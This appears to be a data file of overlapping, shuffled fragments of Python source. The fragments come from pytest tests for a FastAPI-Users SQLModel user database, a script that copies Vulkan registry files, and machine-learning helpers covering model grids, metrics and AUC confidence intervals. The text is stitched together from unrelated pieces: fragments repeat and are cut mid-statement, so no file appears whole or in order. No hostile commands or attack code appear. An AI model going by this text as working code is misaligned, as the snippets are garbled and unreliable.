"Delete user await sqlmodel_user_db.delete(user) deleted_user = await sqlmodel_user_db.get(user.id) assert deleted_user",
"sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is not None assert email_user.id == user_db.id",
"session: yield session SQLModel.metadata.drop_all(engine) async def init_async_session(url: str) -> AsyncGenerator[AsyncSession,",
"assert email_user is not None assert email_user.id == user_db.id #",
"id id_user = await sqlmodel_user_db.get(user.id) assert id_user is not None",
"fields in query result.\"\"\" user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\",",
"id_user is not None assert id_user.id == user_db.id assert id_user.oauth_accounts[0].access_token",
"create_session(database_url): yield database_class(UserDB, session) @pytest.fixture( params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase,",
"AsyncGenerator[AsyncSession, None]: engine = create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session = sessionmaker(engine,",
"async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user = UserDB( id=safe_uuid, email=\"<EMAIL>\",",
"safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url: str) -> AsyncGenerator[Session, None]:",
"unknown_user is None # Delete user await sqlmodel_user_db.delete(user) deleted_user =",
"assert deleted_user is None # Exception when trying to get",
"@pytest.mark.asyncio @pytest.mark.db async def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): user",
"assert user_db.is_active is True assert user_db.is_superuser is False assert user_db.email",
"UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db async def test_insert_non_nullable_fields( sqlmodel_user_db:",
"Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) # Get by id",
"SQLModelUserDatabase[UserDB, OAuthAccount] ): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", )",
"async def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2, ): user",
"sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ):",
"uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url: str) -> AsyncGenerator[Session, None]: engine =",
"trying to get by OAuth account with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\",",
"await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount],",
"assert id_user.id == user_db.id assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" # Get",
"user_db.id # Get by uppercased email email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\")",
"async def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): user = UserDB(",
"), ], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase,",
"id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email = None # type: ignore",
"create_engine from fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from",
"user_db.id assert len(email_user.oauth_accounts) == 2 # Get by OAuth account",
"from sqlmodel import Session, SQLModel, create_engine from fastapi_users_db_sqlmodel import (",
"None assert user_db.is_active is True assert user_db.is_superuser is False assert",
"SQLModelUserDatabase, ), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"],",
"assert email_user.id == user_db.id assert len(email_user.oauth_accounts) == 2 # Get",
"sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db async def test_insert_non_nullable_fields(",
"def init_async_session(url: str) -> AsyncGenerator[AsyncSession, None]: engine = create_async_engine(url, connect_args={\"check_same_thread\":",
"str) -> AsyncGenerator[AsyncSession, None]: engine = create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session",
"sqlmodel_user_db_oauth.get(user.id) assert id_user is not None assert id_user.id == user_db.id",
"== \"NEW_TOKEN\" # Get by email email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email))",
"# Get by id id_user = await sqlmodel_user_db.get(user.id) assert id_user",
"Get by email email_user = await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is",
"assert len(user_db.oauth_accounts) == 2 # Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await",
"await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is not None assert email_user.id ==",
") async def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0]",
"not None assert id_user.id == user.id assert id_user.first_name == user.first_name",
"is False assert user_db.email == user.email # Update user_db.is_superuser =",
"test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2, ): user = UserDBOAuth(",
"email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], ) # Create user_db = await",
"engine.begin() as conn: await conn.run_sync(SQLModel.metadata.create_all) async with make_session() as session:",
"assert len(email_user.oauth_accounts) == 2 # Get by OAuth account oauth_user",
"import Session, SQLModel, create_engine from fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError, SQLModelUserDatabase,",
"None # Exception when trying to get by OAuth account",
"async def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): with pytest.raises(exc.IntegrityError): wrong_user",
"as conn: await conn.run_sync(SQLModel.metadata.create_all) async with make_session() as session: yield",
"assert user_db.is_superuser is False assert user_db.email == user.email # Update",
"not None assert email_user.id == user_db.id # Unknown user unknown_user",
"== user_db.id assert len(email_user.oauth_accounts) == 2 # Get by OAuth",
"== user_db.id assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" # Get by email",
"session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session,",
"conn: await conn.run_sync(SQLModel.metadata.create_all) async with make_session() as session: yield session",
"\"bar\") @pytest.mark.asyncio @pytest.mark.db async def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ):",
"by id id_user = await sqlmodel_user_db_oauth.get(user.id) assert id_user is not",
"): \"\"\"It should output custom fields in query result.\"\"\" user",
"\"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\",",
"UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email = None # type:",
"assert user_db.email == user.email # Update user_db.is_superuser = True await",
"await sqlmodel_user_db.get(user.id) assert deleted_user is None # Exception when trying",
"test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): user = UserDB( id=safe_uuid, email=\"<EMAIL>\",",
"assert id_user is not None assert id_user.id == user.id assert",
"user_db.is_superuser = True await sqlmodel_user_db.update(user_db) # Get by id id_user",
"await sqlmodel_user_db_oauth.update(user_db) # Get by id id_user = await sqlmodel_user_db_oauth.get(user.id)",
"id id_user = await sqlmodel_user_db_oauth.get(user.id) assert id_user is not None",
"typing import AsyncGenerator import pytest from sqlalchemy import exc from",
"from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine from sqlalchemy.orm import sessionmaker from",
"from fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from tests.conftest",
"hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db async def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]",
"init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async def",
"# Get by OAuth account oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name,",
"not None assert oauth_user.id == user.id assert len(oauth_user.oauth_accounts) == 2",
"None]: engine = create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session = sessionmaker(engine, class_=AsyncSession,",
"oauth_account1.oauth_name, oauth_account1.account_id ) assert oauth_user is not None assert oauth_user.id",
"in create_session(database_url): yield database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async def",
"import pytest from sqlalchemy import exc from sqlalchemy.ext.asyncio import AsyncSession,",
"create_session(database_url): yield database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async def test_queries(sqlmodel_user_db:",
"\"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db_oauth(request)",
"account unknown_oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(\"foo\", \"bar\") assert unknown_oauth_user is None",
"sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2, ): user = UserDBOAuth( id=safe_uuid,",
"OAuth account unknown_oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(\"foo\", \"bar\") assert unknown_oauth_user is",
") @pytest.mark.asyncio @pytest.mark.db async def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ):",
"\"NEW_TOKEN\" # Get by email email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert",
"async def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It should output",
"== user_db.id # Unknown user unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert",
"== 2 # Get by OAuth account oauth_user = await",
"async def init_sync_session(url: str) -> AsyncGenerator[Session, None]: engine = create_engine(url,",
"user_db.is_superuser is False assert user_db.email == user.email # Update user_db.is_superuser",
"conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync,",
"id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user) id_user = await",
"user_db.email == user.email # Update user_db.is_superuser = True await sqlmodel_user_db.update(user_db)",
"await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is not None assert email_user.id ==",
"session SQLModel.metadata.drop_all(engine) async def init_async_session(url: str) -> AsyncGenerator[AsyncSession, None]: engine",
"id_user = await sqlmodel_user_db_oauth.get(user.id) assert id_user is not None assert",
"AsyncSession, create_async_engine from sqlalchemy.orm import sessionmaker from sqlmodel import Session,",
"sqlmodel_user_db.create(user) id_user = await sqlmodel_user_db.get(user.id) assert id_user is not None",
"await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\",",
"from tests.conftest import OAuthAccount, UserDB, UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async",
"hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user) id_user = await sqlmodel_user_db.get(user.id) assert",
"sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It should output custom fields in",
"connect_args={\"check_same_thread\": False}) make_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async with engine.begin()",
"id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], ) # Create user_db =",
"SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db_oauth(request) ->",
"= True await sqlmodel_user_db.update(user_db) # Get by id id_user =",
"id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create(",
"= UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], ) # Create",
"== user.id assert len(oauth_user.oauth_accounts) == 2 # Unknown OAuth account",
"async for session in create_session(database_url): yield database_class(UserDB, session) @pytest.fixture( params=["
] |
[
"#! /usr/bin/env python3 import os from os import path root_dir",
"+ ' could not be found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files",
"path root_dir = path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True)",
"for f in files: file_path = path.join(reg_dir, f) if not",
"RuntimeError(file_path + ' could not be found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f)))",
"/usr/bin/env python3 import os from os import path root_dir =",
"= path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir, files): import shutil",
"' could not be found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files =",
"in files: file_path = path.join(reg_dir, f) if not path.isfile(file_path): raise",
"= path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir,",
"f) if not path.isfile(file_path): raise RuntimeError(file_path + ' could not",
"vk_files = [ 'registry/vk.xml', 'registry/reg.py', 'registry/generator.py' ] copy_reg(path.join(root_dir, 'Vulkan-Headers'), vk_files)",
"path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir, files): import shutil for",
"os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir, files): import shutil for f in",
"import shutil for f in files: file_path = path.join(reg_dir, f)",
"import os from os import path root_dir = path.dirname(path.realpath(__file__)) local_reg_dir",
"path.join(reg_dir, f) if not path.isfile(file_path): raise RuntimeError(file_path + ' could",
"file_path = path.join(reg_dir, f) if not path.isfile(file_path): raise RuntimeError(file_path +",
"path.isfile(file_path): raise RuntimeError(file_path + ' could not be found') shutil.copy2(file_path,",
"not path.isfile(file_path): raise RuntimeError(file_path + ' could not be found')",
"= path.join(reg_dir, f) if not path.isfile(file_path): raise RuntimeError(file_path + '",
"found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files = [ 'registry/vk.xml', 'registry/reg.py', 'registry/generator.py'",
"import path root_dir = path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir, 'registry') os.makedirs(local_reg_dir,",
"local_reg_dir = path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir, files): import",
"from os import path root_dir = path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir,",
"path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir, files):",
"files: file_path = path.join(reg_dir, f) if not path.isfile(file_path): raise RuntimeError(file_path",
"path.basename(f))) vk_files = [ 'registry/vk.xml', 'registry/reg.py', 'registry/generator.py' ] copy_reg(path.join(root_dir, 'Vulkan-Headers'),",
"shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files = [ 'registry/vk.xml', 'registry/reg.py', 'registry/generator.py' ]",
"be found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files = [ 'registry/vk.xml', 'registry/reg.py',",
"could not be found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files = [",
"exist_ok=True) def copy_reg(reg_dir, files): import shutil for f in files:",
"os from os import path root_dir = path.dirname(path.realpath(__file__)) local_reg_dir =",
"shutil for f in files: file_path = path.join(reg_dir, f) if",
"raise RuntimeError(file_path + ' could not be found') shutil.copy2(file_path, path.join(local_reg_dir,",
"def copy_reg(reg_dir, files): import shutil for f in files: file_path",
"<filename>copy_reg.py #! /usr/bin/env python3 import os from os import path",
"f in files: file_path = path.join(reg_dir, f) if not path.isfile(file_path):",
"os import path root_dir = path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir, 'registry')",
"root_dir = path.dirname(path.realpath(__file__)) local_reg_dir = path.join(root_dir, 'registry') os.makedirs(local_reg_dir, exist_ok=True) def",
"'registry') os.makedirs(local_reg_dir, exist_ok=True) def copy_reg(reg_dir, files): import shutil for f",
"copy_reg(reg_dir, files): import shutil for f in files: file_path =",
"not be found') shutil.copy2(file_path, path.join(local_reg_dir, path.basename(f))) vk_files = [ 'registry/vk.xml',",
"python3 import os from os import path root_dir = path.dirname(path.realpath(__file__))",
"files): import shutil for f in files: file_path = path.join(reg_dir,",
"path.join(local_reg_dir, path.basename(f))) vk_files = [ 'registry/vk.xml', 'registry/reg.py', 'registry/generator.py' ] copy_reg(path.join(root_dir,",
"if not path.isfile(file_path): raise RuntimeError(file_path + ' could not be"
] |
[
"# 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), # 'gbm':",
"from sklearn.dummy import DummyClassifier from sklearn.tree import DecisionTreeClassifier from sklearn.linear_model",
"# 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), #",
"sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import DummyRegressor def split_cohort(datafile,",
"data = pd.read_csv(datafile) else: data = datafile test_data = None",
"# 'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.01,0.1, 1]}), #,",
"test_data = None if to_exclude is not None: for k",
"(N2 - 1) * (q2 - AUC * AUC) denom",
"import SVC from sklearn import linear_model from sklearn.ensemble import RandomForestRegressor,",
"[2, 5, 10], \"min_samples_leaf\": [3, 5, 10, 15, 20], \"random_state\":",
"'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 400, 800], # 'learning_rate':",
"from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import DummyClassifier from",
"# 'max_depth': [4,5,6,8], # 'subsample': [0.85], # 'max_features': [0.25, 0.5]}),",
"= 0.7) plt.grid(True, 'major', color = '0.85', linewidth = 0.7)",
"<= 2010] # self.data = self.data.drop(['year'], axis = 1) if",
"5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}),",
"# 'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0], # \"class_weight\": [None]}),",
"0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth':",
"'STARTING EXPERIMENT FOR ' + RESULT_DIR + '\\n\\n') expt =",
"if isinstance(datafile, str): data = pd.read_csv(datafile) else: data = datafile",
"500, 1000], # 'max_depth': [4, 6, 8, 10], # \"min_samples_split\":",
"['mae'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg':",
"sklearn.svm import SVC from sklearn import linear_model from sklearn.ensemble import",
"0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8],",
"[7,8,9], # \"min_samples_split\": [5,10], # 'max_features': [0.25, 0.5, ]}), #",
"# 'max_depth': [3,5,7], # \"min_samples_split\": [2, 5], # 'max_features': ['auto',",
"# 'max_depth': [5, 6, 7], # 'subsample': [0.85, 1], #",
"* res_df.PPV * res_df.sens / (res_df.PPV + res_df.sens) res_df['youdens_index'] =",
"# 'lasso2': (LogisticRegression(penalty = 'l1'), # {\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2':",
"[100, 200, 400, 800], # 'learning_rate': [0.03, 0.01, 0.001], #",
"AUC) numerator = AUC * (1 - AUC) + (N1",
"1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3,",
"\"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'logreg': (LogisticRegression(), {}), #, \"balanced\"",
"(LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.1, 0.3, 1,5, 10]}), #,",
"# 'max_depth': [3, 5, 10], # 'max_features': ['auto', 'sqrt', 'log2']}),",
"\"max_depth\": [1, 2, 3, 4], # None \"splitter\": [\"best\", \"random\"],",
"'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {\"C\":[0.001, 0.01,0.1, 1],",
"res_df['f1_score'] = 2 * res_df.PPV * res_df.sens / (res_df.PPV +",
"# \"min_samples_split\": [5,10], # 'max_features': [0.25, 0.5, ]}), # 'rf':",
"400, 500], # 'learning_rate': [0.01, 0.003, 0.4], # 'max_depth': [5,",
"50, 75, 100, 200], # 'max_depth': [2,3,5], # 'subsample': [0.25,",
"data.drop(k, axis = 1) if drop == 'all': if (k",
"'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500, 600], # 'max_depth': [7,8,9],",
"5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501],",
"# 'rf': (RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(), {}), # 'rf':",
"the dataset \"\"\" if isinstance(datafile, str): data = pd.read_csv(datafile) else:",
"0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty = 'l1', solver",
"\"C\":[0.1]}), #, \"balanced\" # 'logreg': (LogisticRegression(), # {}), #, \"balanced\"",
"# None \"splitter\": [\"best\", \"random\"], \"min_samples_split\": [2, 5, 10], \"min_samples_leaf\":",
"res_df['TN'] = (res_df.y_true == 0).cumsum() res_df['FN'] = (res_df.y_true == 1).cumsum()",
"7], # 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), 'gbm':",
"# \"min_samples_split\": [5], # 'max_features': ['auto'], # \"class_weight\": [None]}), #",
"'max_features': ['auto'], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"\"balanced\" # \"C\":[0.1]}), #, \"balanced\" # 'logreg': (LogisticRegression(), # {}),",
"[10000]}), 'lasso2': (LogisticRegression(penalty = 'l1', solver ='saga'), {\"C\":[0.001, 0.01,0.1, 1]}),",
"'log2', 0.5]}), } return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all = False):",
"+ zsc * se_AUC) def load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg':",
"# 'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500],",
"- 1) * (q1 - AUC * AUC) + (N2",
"# \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\":",
"'xgb': (xgb.XGBClassifier(), # {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600],",
"]}), # 'rf': (RandomForestClassifier(), # {}), # 'xgb': (xgb.XGBClassifier(), #",
"0.7) plt.grid(True, 'major', color = '0.85', linewidth = 0.7) plt.grid(True,",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300], # 'learning_rate': [0.01],",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [5], #",
"columns = ['y_pred', 'y_true', 'TN', \"FN\"]), res_df], axis = 0)",
"[None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8], \"min_samples_split\": [10], 'max_features':",
"k == 'race': data = data[data[k].isin(to_exclude[k])] elif k == 'agebl':",
"2010] # self.data = self.data.drop(['year'], axis = 1) if test_ind_col",
"\"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05),",
"in to_exclude.keys(): if k == 'race': data = data[data[k].isin(to_exclude[k])] elif",
"[10000]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {\"C\":[0.001, 0.01,0.1, 1]}),",
"\"reg_lambda\": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], #",
"'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200, 400, 800], 'learning_rate': [0.03, 0.01,",
"0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth':",
"res_df.TP / (res_df.TP + res_df.FP) res_df['accuracy'] = (res_df.TP + res_df.TN)",
"= 'Label', cv = 5, score_name = \"AUC\", to_exclude =",
"0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 - (1-ci)/2.) q1",
"ax = plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\")",
"data = data.drop(k, axis = 1) # self.data = self.data[self.data['year']",
"10]}), #, \"balanced\" # 'logreg': (LogisticRegression(), # {\"class_weight\": [None], #",
"['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth':",
"AUC) + (N2 - 1) * (q2 - AUC *",
"(Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), # 'lasso2':",
"[200, 500, 1000], # 'max_depth': [4, 6, 8, 10], #",
"res_df.FN) res_df['spec'] = res_df.TN / (res_df.TN + res_df.FP) res_df['PPV'] =",
"= ['y_pred', 'y_true', 'TN', \"FN\"]), res_df], axis = 0) res_df['TP']",
"models, cv=cv, score_name=score_name, mode='classification', oversample_rate = oversample_rate, imputer = imputer,",
"= Experiment(alldata, label = label, to_exclude = to_exclude, test_ind_col =",
"'log2']}), 'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), # 'logreg': (LogisticRegression(), # {\"class_weight\":",
"1.0], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [200,",
"= 'y_pred') res_df['TN'] = (res_df.y_true == 0).cumsum() res_df['FN'] = (res_df.y_true",
"10], # 'max_features': ['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), #",
"= (res_df.y_true == 1).cumsum() if return_all == False: res_df =",
"0.5]}), # 'gbm': (GradientBoostingClassifier(), # {}), # 'gbm': (GradientBoostingClassifier(), #",
"'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth': [9], # \"min_samples_split\":",
"'lad'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy':",
"represent non-separable decision points (i.e., y_pred is equal) if return_all",
"= self.data.drop(['year'], axis = 1) if test_ind_col is not None:",
"\"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01,",
"score_name = \"AUC\", to_exclude = None, test_ind_col = None, oversample_rate",
"0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], # \"max_depth\": [2, 3,",
"plt import xgboost as xgb from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier",
"(LogisticRegression(penalty = 'l1'), # {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver",
"AUC, AUC + zsc * se_AUC) def load_models_and_parameters_default(): models_and_parameters =",
"# 'xgb': (xgb.XGBClassifier(), # {}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"data = data[data[k] == 0] if drop == 'some': data",
"0.5, 0.75, 1.0], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), #",
"200], # 'max_depth': [2,3,5], # 'subsample': [0.25, 0.5, 0.75, 1],",
"= [-1], columns = ['y_pred', 'y_true', 'TN', \"FN\"]), res_df], axis",
"= to_exclude, test_ind_col = test_ind_col, drop = 'all', result_dir =",
"clean the dataset \"\"\" if isinstance(datafile, str): data = pd.read_csv(datafile)",
"# \"C\":[0.1]}), #, \"balanced\" 'logreg': (LogisticRegression(), {}), #, \"balanced\" #",
"self.data[self.data['year'] <= 2010] # self.data = self.data.drop(['year'], axis = 1)",
"} return(models_and_parameters) def load_models_and_parameters(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\":",
"ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata, models, label = 'Label', cv =",
"# 'learning_rate': [0.1], # \"reg_alpha\": [0, 10], # \"reg_lambda\": [0.1,",
"False)] return(res_df) def set_up_plot(): # plt.grid(True, 'major', color = 'w',",
"'elasticnet', solver = 'saga'), {\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1, 0.5,",
"load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(),",
"def set_up_plot(): # plt.grid(True, 'major', color = 'w', linewidth =",
"res_df], axis = 0) res_df['TP'] = (res_df.y_true == 1).sum() -",
